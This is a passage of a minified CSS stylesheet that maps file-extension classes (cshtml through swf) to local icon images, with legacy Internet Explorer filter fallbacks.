\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none 